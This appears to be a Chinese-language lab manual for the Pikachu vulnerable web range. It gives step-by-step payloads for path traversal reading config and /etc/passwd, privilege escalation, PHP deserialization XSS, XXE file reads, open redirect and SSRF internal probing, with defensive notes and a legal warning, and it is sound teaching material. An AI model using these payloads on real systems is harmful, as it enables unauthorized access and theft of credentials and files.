$filename = $_GET['filename'];
$file = file_get_contents($filename);   // 用户可控
📋 详细步骤
  1. 正常点"下载" → 下载一个 txt(先看正常流程)
  2. Burp 抓请求改参数:?filename=../inc/config.inc.php → 直接下载到靶场数据库配置(含账号密码)
  3. Windows 进阶:?filename=..\..\..\..\windows\win.ini;macOS:?filename=../../../../etc/passwd

过关标准达成:敏感配置文件到手。学习要点:下载接口和文件包含是"近亲"——一个读内容给攻击者,一个把内容执行出来。

🧯 卡住了?对号入座
  • 现象:改 filename 加 ../ 后被拦/无效 → 原因:①浏览器可能对 URL 里的 ../ 做归一化,用 Burp 抓包改最稳;②确认目标文件真实存在(如 pikachu 的 config.inc.php)
  • 现象:下载到空内容 → 原因:层数不对,从当前目录逐层数,多试几层 ../../../
  • 现象:提示文件不存在 → 原因:路径拼错,先穿越读一个确定存在的文件验证基本穿越可用
🛡 防御视角文件 ID 映射(传 id 查表,不传路径)+ 白名单目录 + 禁止 ../ 穿越字符。
🤔 想一想:下载配置文件的危害是什么?
答:拿到数据库口令,可能直接进数据库或反查其他系统复用密码
越权=身份验证做了一半。服务器验证了"你是登录用户",但没有验证"这条数据/这个功能是不是你的"。分两种:水平越权(访问同级别人的数据)和垂直越权(低权限访问高权限功能)。类比:小区门卫只查"你有没有门禁卡",不查"你进的这栋楼、这间房是不是你的"。

第 1 关水平越权

入口:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php(lucy / 123456 登录)
过关标准:用 lucy 的账号看到 vince 的个人信息
💡 类比故事查询个人信息的接口用 URL 里的 username 参数查数据——只校验了"登录没登录",没校验"这个 username 是不是你自己的"。你把 URL 里的名字改成别人,就看到了别人的信息。像银行柜员:你说"我查一下王五的余额",柜员只确认了"你是本行客户",没确认"王五是不是你"。

原理白话:服务器用客户端传来的 username 参数查库,身份校验缺失。

看源码:

// 只检查了登录态,直接按传入的 username 查库
$sql = "select * from member where username='{$_GET['username']}'";
📋 详细步骤
  1. 用 lucy / 123456 登录,查看自己的信息,URL 形如 ?username=lucy
  2. 把 URL 改成 ?username=vince → 看到了 vince 的个人信息(手机号、邮箱等)
  3. 依次换成 allen、kobe……全部可见

过关标准达成:任意同级别用户信息可读。学习要点:"对象级授权"缺失——OWASP 把它列为 API 安全第一大问题(BOLA)。

🧯 卡住了?对号入座
  • 现象:改了 username 还是显示自己的信息 → 原因:①确认当前登录的是 lucy;②确认改的是 URL 里的 username 参数(GET),改完回车刷新
  • 现象:看不到"查看个人信息"入口 → 原因:先登录(lucy / 123456),登录后才有个人主页链接
  • 现象:改成 lili 后报错 → 原因:账号名拼写(lili 不是 lily),对照关卡提示的账号列表
🛡 防御视角用 session 里的身份取数据(where username=$_SESSION['user']),不让客户端传身份标识。
🤔 想一想:如果这关改的是 ?username=admin 会怎样?
答:能看到管理员信息——水平越权和垂直越权经常连着发生

第 2 关垂直越权

入口:http://127.0.0.1/pikachu/vul/overpermission/op2/op2_login.php(pikachu / 000000 普通用户登录)
过关标准:普通用户自封管理员,用新管理员账号登录成功
💡 类比故事管理员才能用的"添加用户"按钮,普通用户页面上看不到(前端隐藏了)。但"看不到"≠"不能用"——接口还在那,你直接输入管理员的网址就进去了。前端隐藏只是把门帘拉上,门根本没锁。

原理白话:前端把"添加用户"按钮隐藏了(普通用户看不到),但后端接口没有做权限校验——直接访问接口照样能用。

看源码:管理员页面 op2_admin.php 处理添加用户请求,没有任何"当前用户是否是管理员"的判断。

📋 详细步骤
  1. 用普通用户 pikachu / 000000 登录 → 页面确实没有"添加用户"按钮(前端隐藏,先确认)
  2. 直接访问管理员功能页:http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php
  3. 通过该页添加一个新管理员(如 admin2 / 123456)
  4. 退出,用 admin2 / 123456 登录 → 已是管理员权限,提权成功
📷 练习截图:普通用户访问 op2_admin.php 添加管理员账号

过关标准达成:普通用户自封管理员。学习要点:前端隐藏 ≠ 权限控制,权限必须后端每个接口都校验。

🧯 卡住了?对号入座
  • 现象:pikachu 登录后没有"删除用户"按钮 → 原因:正常——普通用户本来就不该有。越权思路:把 admin 才有的操作 URL 直接发给服务器(Burp 里以 pikachu 身份请求)
  • 现象:直接访问 admin 的 URL 跳到登录页 → 原因:要先以普通账号登录获得 session,再带着 session 请求 admin 接口;接口 URL 在详细步骤里
  • 现象:删除操作没生效 → 原因:确认请求方法(GET/POST)与参数一致,抓包看服务端返回
🛡 防御视角后端每个功能点校验角色(如中间件/注解统一做 RBAC)+ 前端隐藏只是体验优化。
🤔 想一想:为什么攻击者能"发现"这个隐藏页面?
答:页面路径在 JS/HTML 源码里能找到,且 Web 页面无秘密可言——前端所有内容都能被看到
入口:http://127.0.0.1/pikachu/vul/dir_list/dir_list.php
过关标准:页面显示任意文件内容
💡 类比故事和文件下载(3.8)同一个病根,区别只是"直接显示在页面上"还是"下载保存"。同样是"你要什么文件我给什么文件",用 ../ 爬到系统目录随便看。

原理白话:页面按用户传的 title 参数读取文件内容,无校验 → 路径穿越读任意文件。

📋 详细步骤
  1. 正常点标题 → 读出对应 txt(先看正常流程)
  2. macOS:?title=../../../../etc/passwd
  3. Windows:?title=..\..\..\..\windows\win.ini
  4. 实战目标:?title=../inc/config.inc.php 读数据库配置

过关标准达成:任意文件内容显示。

🧯 卡住了?对号入座
  • 现象:title 参数加 ../ 没效果 → 原因:确认参数名是 title;层数逐级加,先一个 ../ 看列出的目录
  • 现象:页面只显示文件列表没有报错 → 原因:正常,目录遍历的回显就是列出的文件名,继续加 ../ 上跳
  • 现象:Windows 路径不通 → 原因:/ 与 \ 都试;确保拼接后的路径存在
🛡 防御视角白名单映射 + 过滤 ../(正确做法是根本不接收路径,只接收 id)。
🤔 想一想:目录遍历和本地文件包含看起来一样,本质区别是什么?
答:遍历只是"读出来",包含是"执行"——LFI 可升级 RCE,危险得多
入口:http://127.0.0.1/pikachu/vul/infoleak/
过关标准:拿到隐藏在页面源码里的账号
💡 类比故事开发者把"小抄"(账号、隐藏路径)写在网页注释、备份文件里,以为"没人会看"。但网页源代码对所有人可见,没有秘密——按 F12 就能看。这关教你养成"看源码找宝贝"的习惯,这个习惯在 SRC 实战里能直接捡漏。

原理白话:开发者把敏感信息(账号、隐藏路径)放在网页注释、备份文件等"以为没人看"的地方。

📋 详细步骤
  1. 打开关卡页面 → F12 查看网页源代码 → 发现 HTML 注释里有隐藏提示("看看你的 abc"之类)

(HTML 注释长这样:<!-- 我是注释,页面上不显示 -->)

  1. 按提示访问 /vul/infoleak/abc.php → 页面显示隐藏的账号密码

过关标准达成:拿到隐藏账号。学习要点:真实世界的版本是——.git 泄露、www.zip 备份、注释里的测试账号、debug 开关没关。

🧯 卡住了?对号入座
  • 现象:页面上找不到信息 → 原因:按 F12 或 Ctrl+U 查看页面源代码(不是页面显示的内容),重点看 HTML 注释里的账号密码
  • 现象:看了源码还是没有 → 原因:确认入口页面正确(按关卡提示的页面进);注释里藏着测试账号
  • 现象:找到账号但登录不了 → 原因:复制时别带多余空格;确认是靶场的登录账号
🛡 防御视角生产环境不写敏感注释、不上传备份、git clone 部署改为构建产物部署、统一敏感信息扫描(gitleaks 类工具)。
🤔 想一想:真实网站里"敏感信息泄露"最常见的形式有哪些?
答:源码备份文件、git/svn 目录、报错信息暴露路径、API 接口文档未删
入口:http://127.0.0.1/pikachu/vul/unserilization/unser.php
过关标准:构造序列化字符串,触发弹窗
💡 类比故事序列化=把物体打包成"规格说明书"(字符串,方便运输/存储);反序列化=按说明书把物体重新组装。问题在于:组装的过程中(构造方法)会执行代码。如果攻击者能控制说明书内容,就能在"组装"时夹带自己的指令。

原理白话:序列化=把对象存成字符串,反序列化=把字符串变回对象。如果对象创建时(构造方法)会执行代码,而攻击者能控制序列化字符串,就能触发代码执行。

看源码:

class S {
    var $test = "pikachu";
    function __construct() {
        echo $this->test;      // 对象创建即输出
    }
}
$s = unserialize($_GET['s']);  // 直接反序列化用户输入
📋 详细步骤
  1. 访问:http://127.0.0.1/pikachu/vul/unserilization/unser.php?s=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
  2. 弹窗即通关
  3. 解释字符串格式(重点):
  1. 反序列化时 __construct 被触发 → 输出我们伪造的 test → XSS 弹窗

过关标准达成:弹窗。学习要点:长度必须数对,差一个字符就失败——体会"构造 payload 要严谨"。深入一步:真实世界的反序列化 RCE 靠"魔术方法链"(gadget chain),入门阶段了解即可,进阶可深入研究。

🧯 卡住了?对号入座
  • 现象:没弹窗 → 原因:长度数错了。s:29 里的 29 必须等于引号内字符串的实际字符数(<script>alert('xss')</script> 正好 29 个字符)。逐字符数一遍
🛡 防御视角不反序列化用户输入;必须反序列化时用白名单类 + 校验签名。
🤔 想一想:为什么这一关的 payload 长度错了就失败?
答:序列化格式用长度定位字段,长度错位整个结构解析失败
入口:http://127.0.0.1/pikachu/vul/xxe/xxe_1.php
过关标准:提交恶意 XML 后,页面回显系统文件内容
💡 类比故事XML 是种数据格式(和 HTML 长得像)。应用解析你提交的 XML 时,如果允许"外部实体",你可以在 XML 里声明"这里的内容,去读 C 盘那个文件"——解析器会乖乖去读并回显。XML 不只传数据,还能"指使"解析器干活。

原理白话:应用解析用户提交的 XML 时,如果允许"外部实体",攻击者可以用 <!ENTITY> 声明实体引用任意文件/URL,XML 解析器会乖乖去读取并回显。

📋 详细步骤
  1. 页面表单输入恶意 XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

(解释:<!ENTITY xxe SYSTEM "file:///etc/passwd"> 声明了一个叫 xxe 的实体,指向系统文件;<foo>&xxe;</foo> 引用它 → 解析器读文件并放进来)

  1. 提交 → 解析结果里出现 /etc/passwd 内容(macOS)
  2. Windows 版本把实体改为:SYSTEM "file:///c:/windows/win.ini"
  3. 进阶:读靶场配置 file:///D:/phpstudy_pro/WWW/pikachu/inc/config.inc.php(按实际路径)

过关标准达成:任意本地文件被读出。

🧯 卡住了?对号入座
  • 现象:实体没回显 → 原因:①DOCTYPE 声明位置和格式要对(在根元素前);②看响应里实体被展开的位置
  • 现象:报"外部实体加载失败" → 原因:若 PHP/libxml 已禁用外部实体则本关打不出(PHPStudy 的 PHP 5.6 默认可);先排除 XML 语法错误
  • 现象:file:// 读不到文件 → 原因:Windows 下路径写 file:///C:/Windows/win.ini(三个斜杠);Linux 用 /etc/passwd
🛡 防御视角禁止外部实体加载(libxml 中 libxml_disable_entity_loader(true),或用 JSON 替代 XML)。
🤔 想一想:XXE 和 SSRF 有什么联系?
答:外部实体可以指向内网 URL,让服务器代理访问内网——XXE 常作为 SSRF 的载体
入口:http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.php
过关标准:改 url 参数实现任意跳转
💡 类比故事网站有个"中转站":点链接先到官网的跳转接口,再被送到目标页。这个接口不检查目标地址——攻击者把目标改成钓鱼站,用户看到链接开头是官网域名就放松了警惕,点进去却是假网站。"官方域名 + 跳转参数 = 看起来可信的钓鱼链接",是钓鱼的核心帮凶。

原理白话:跳转接口信任用户传的目标地址,跳转到钓鱼站点时用户毫无防备(地址栏一开始是可信域名)。

📋 详细步骤
  1. 页面上点链接 → 跳转目标由 ?url= 参数控制(先正常点一次看流程)
  2. 改成:?url=https://www.baidu.com → 跳到百度(证明任意跳转成立)
  3. 危险演示:?url=javascript:alert(document.cookie) → 部分浏览器直接执行 JS

过关标准达成:任意跳转成立。

🧯 卡住了?对号入座
  • 现象:改了 url 参数没跳转 → 原因:①确认参数名是 url;②改完要点页面上的"跳转"按钮/链接才会触发
  • 现象:跳转被浏览器拦 → 原因:用完整 URL(http://www.baidu.com);本地靶场跳外网属正常,浏览器一般不会拦
  • 现象:跳转后不知道算不算通关 → 原因:跳到目标网站即通关,重点是理解"站点做了跳转但没校验目标"的风险
🛡 防御视角跳转目标白名单(只允许本站 URL)+ 拒绝 javascript: 等协议。
🤔 想一想:为什么攻击者不直接发钓鱼链接,要借跳转?
答:借用可信域名增加可信度,绕过邮件/社交平台对陌生域名的告警
SSRF=让服务器替攻击者发请求。类比:攻击者打不进"内网"(比如公司内部系统),但内网里的服务器能访问内网。如果网站的某个功能允许"填一个 URL,我替你访问并显示结果",攻击者就把 URL 填成内网地址——服务器成了攻击者的"内应"。防火墙防外网,SSRF 从内网打内网。

SSRF 内网穿透原理

第 1 关SSRF(curl)

入口:http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php
过关标准:回显靶场"内网信息页"内容
💡 类比故事网站有个"URL 查看"工具:你给个网址,服务器用 curl 访问并把内容回显给你。你填自己电脑的网址 127.0.0.1——注意,这是服务器自己访问自己(服务器和你同一台机器)。填靶场内网信息页,就能看到"只有内网才能看"的内容。

原理白话:页面提供一个"URL 查看"工具,服务器用 curl 请求用户给的 URL 并回显——无任何目标校验。

看源码:

$url = $_GET['url'];
echo curl_exec($ch);   // curl 用户可控的 URL
📋 详细步骤
  1. 输入 http://127.0.0.1/pikachu/ → 正常回显(注意:这是服务器自己访问自己,体会"服务器替你发请求")
  2. 读靶场内网信息页:http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 回显内部信息
📷 练习截图:SSRF 回显内网信息页内容
  1. macOS:file:///etc/passwd 直接读本地文件(curl 支持 file 协议)
  2. 了解内网探测思路:把 127.0.0.1 换成内网 IP 段(如 192.168.1.1)逐个探测端口——这就是打内网的入口(真实环境中这才是 SSRF 的完整用法,靶场里了解思路即可)

过关标准达成:内网资源被"借"服务器之手访问。

🧯 卡住了?对号入座
  • 现象:请求没回显 → 原因:url 参数要传完整地址(含 http://);先试 http://127.0.0.1/pikachu 这种靶场自身地址
  • 现象:返回错误/超时 → 原因:目标端口没开服务属正常;本关重点在"服务器替你去访问了内网地址"
  • 现象:读不到内网其他机器 → 原因:靶场在你电脑上,"内网"就是本机各端口;换 127.0.0.1 的其他端口试
🤔 想一想:curl 这关能直接读服务器本机文件吗?
答:curl 默认打 http 协议;要读文件得配合 file:// 或靠下一关 file_get_contents,这正是两关能力的区别
🛡 防御视角URL 白名单 + 禁止内网地址段(127.0.0.0/8、10.0.0.0/8、192.168.0.0/16、169.254.0.0/16)+ 禁止 file/dict/gopher 等协议。

第 2 关SSRF(file_get_contents)

入口:http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php
过关标准:回显内网信息页内容
💡 类比故事同上,只是服务器"替你访问"用的函数换了一个(PHP 的 file_get_contents() 同样支持 URL 和 file 协议)。理解:危险的不是函数,而是"未校验的用户可控 URL"。

原理白话:同上,只是读取函数换成 PHP 的 file_get_contents(),它同样支持 URL 和 file 协议。

📋 详细步骤
  1. ?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 内网信息回显
  2. macOS:?file=file:///etc/passwd → 本地文件读取
  3. 与 curl 版对照,理解"危险的不是函数,而是未校验的用户可控 URL"

过关标准达成:内网访问成立。

🧯 卡住了?对号入座
  • 现象:file:// 协议失败 → 原因:确认 allow_url_fopen 开启;Windows 用 file:///C:/Windows/win.ini,Linux 用 file:///etc/passwd
  • 现象:返回空白 → 原因:文件不存在或路径错;先读一个确定存在的文本文件
  • 现象:http 也不行 → 原因:与 3.15.1 相同,确认 url 参数完整(含协议头)
🛡 防御视角同 3.15.1。
🤔 想一想:SSRF 探测内网端口时,怎么判断端口是否开放?
答:看响应差异——返回内容/响应时间/错误信息不同

每通一关,在 □ 里打钩。建议配合"过关标准"自查,全部打钩后你就是这套靶场的全通选手了。

暴力破解(4 关)

XSS(10 关)

CSRF(3 关)

SQL 注入(10 关)

RCE(2 关)

文件包含(2 关)

文件上传(3 关)

文件下载(1 关)

越权(2 关)

目录遍历(1 关)

敏感信息泄露(1 关)

PHP 反序列化(1 关)

XXE(1 关)

URL 跳转(1 关)

SSRF(2 关)

漏洞类型一句话成因一句话防御
暴力破解无次数限制、验证码失效失败锁定 + 服务端一次性验证码 + token
XSS用户输入进 HTML 未编码输出按上下文编码(htmlspecialchars/JS转义/URL协议白名单)
CSRF浏览器自动带 Cookie + 无来源校验CSRF Token + SameSite + 关键操作二次确认
SQL 注入输入拼进 SQL 语句参数化查询(一切注入的正解)
RCE输入拼进命令/eval白名单 + 禁危险函数 + 最小权限
文件包含文件名参数可控白名单 + 关闭 allow_url_include
文件上传校验可绕过、脚本可执行服务端内容校验 + 上传目录禁执行 + 重命名
文件下载/目录遍历路径参数可控id 映射 + 拒绝 ../
越权只验登录不验归属/角色对象级授权(用 session 身份取数)+ 接口级 RBAC
信息泄露注释/备份/报错藏敏感信息上线前敏感扫描 + 统一错误页
反序列化反序列化用户输入不反序列化不可信输入 / 白名单类
XXEXML 外部实体未禁用禁用 DTD/外部实体
URL 跳转跳转目标未校验域名白名单 + 协议白名单
SSRF服务器代发请求目标未校验URL 白名单 + 禁内网地址/危险协议

暴力破解

  1. 简述验证码绕过(on server)关卡为什么同一个验证码能反复用?(要点:session 未销毁,一次性机制缺失)
  2. token 防爆破关卡的 token 从哪来?为什么爆破工具不能直接重用?(要点:服务端生成、每次刷新、攻击者拿不到新值)
  3. 设计一个登录接口的三个防爆破措施。(要点:锁定/限流/验证码/token 任选三)

XSS

  1. 反射型、存储型、DOM 型三种 XSS 的区别?(要点:是否入库、是否经服务器、危害范围)
  2. 为什么过滤 <script> 关键字防不住 XSS?举两个绕过例子。(要点:img onerror、svg onload、大小写等)
  3. htmlspecialchars 使用正确(ENT_QUOTES)但输出在 href 里,还有风险吗?(要点:javascript: 协议,需协议白名单)
  4. 盲打 XSS 的目标是谁?为什么选择打后台?(要点:管理员权限高、后台防护常被忽视)

CSRF

  1. 用一句话解释 CSRF 为什么能成立?(要点:浏览器自动携带 Cookie,服务器无法区分"本人操作"与"被伪造请求")
  2. GET 改 POST 能防 CSRF 吗?为什么?(要点:不能,POST 也能被自动提交表单伪造)
  3. CSRF Token 为什么攻击者拿不到?(要点:随机生成、同源策略保护、不在攻击者可读处)

SQL 注入

  1. 字符型注入 payload 1' or '1'='1 中每个部分的作用?(要点:闭合、恒真、语法补全)
  2. 报错注入利用了什么机制把数据带出来?(要点:updatexml 等函数参数不合法→报错信息包含数据)
  3. 布尔盲注和时间盲注分别靠什么"信使"传数据?(要点:页面真假差异 / 响应时间)
  4. 宽字节注入为什么能绕过 addslashes?(要点:GBK 多字节吞掉反斜杠)
  5. 为什么参数化查询能防所有 SQL 注入?(要点:语句结构与数据分离,数据不再被解析为代码)

RCE / 文件包含 / 文件上传

  1. 命令注入里 ; & && | 分别是什么作用?(要点:顺序/后台/与/管道)
  2. 图片马为什么直接访问不执行、配合文件包含就执行?(要点:后缀不交 PHP 解释器 vs include 强制解析)
  3. 文件上传的三道正确防线?(要点:服务端内容校验、目录禁执行、重命名存储)

越权 / 信息泄露

  1. 水平越权和垂直越权的区别?(要点:同级别横向 vs 低权限上探高权限)
  2. "前端隐藏按钮"为什么不算权限控制?(要点:前端内容攻击者全可见,必须后端校验)

进阶漏洞

  1. XXE 中的 DTD 和实体是什么?(要点:DTD 定义结构、ENTITY 声明引用,外部实体可指向文件/URL)
  2. SSRF 为什么能突破防火墙?(要点:请求由内网服务器发出,防火墙放行)
  3. PHP 反序列化漏洞的根源是什么?(要点:unserialize 执行魔术方法,数据可控即代码可控)

期末实操考核说明(供参考):随机抽 3 关独立通关(不允许看手册),提交通关报告(截图 + 原理 + 修复建议)。

  1. 只能在本地靶场练习。对任何非授权系统(包括学校官网、同学电脑、云主机)测试漏洞,均可能触犯《刑法》第 285 条(非法侵入计算机信息系统罪)、第 286 条(破坏计算机信息系统罪)和《网络安全法》第 27 条
  2. 练习限 127.0.0.1 和本机局域网靶场;不得把攻击流量发到互联网真实网站
  3. 不传播、不出售攻击工具与手册给非课程同学;通关报告不公开发布
  4. 将来参与 SRC(漏洞赏金)平台时,须遵守平台授权范围,越界即违法
  5. 强调:学习攻击技术是为了防御,安全从业者的第一素质是底线意识
本手册全部 payload 均针对本地 Pikachu 靶场环境,仅用于学习练习。使用时请按实际部署路径/端口微调。

🎯 本模块打完?去「通关打卡表」打钩——进度存账号,换设备不丢。

我爱换客网 · 红队成长之路 | 靶场内容仅供本地环境学习,请勿对未授权目标使用 | 靶场目录 | 返回路线图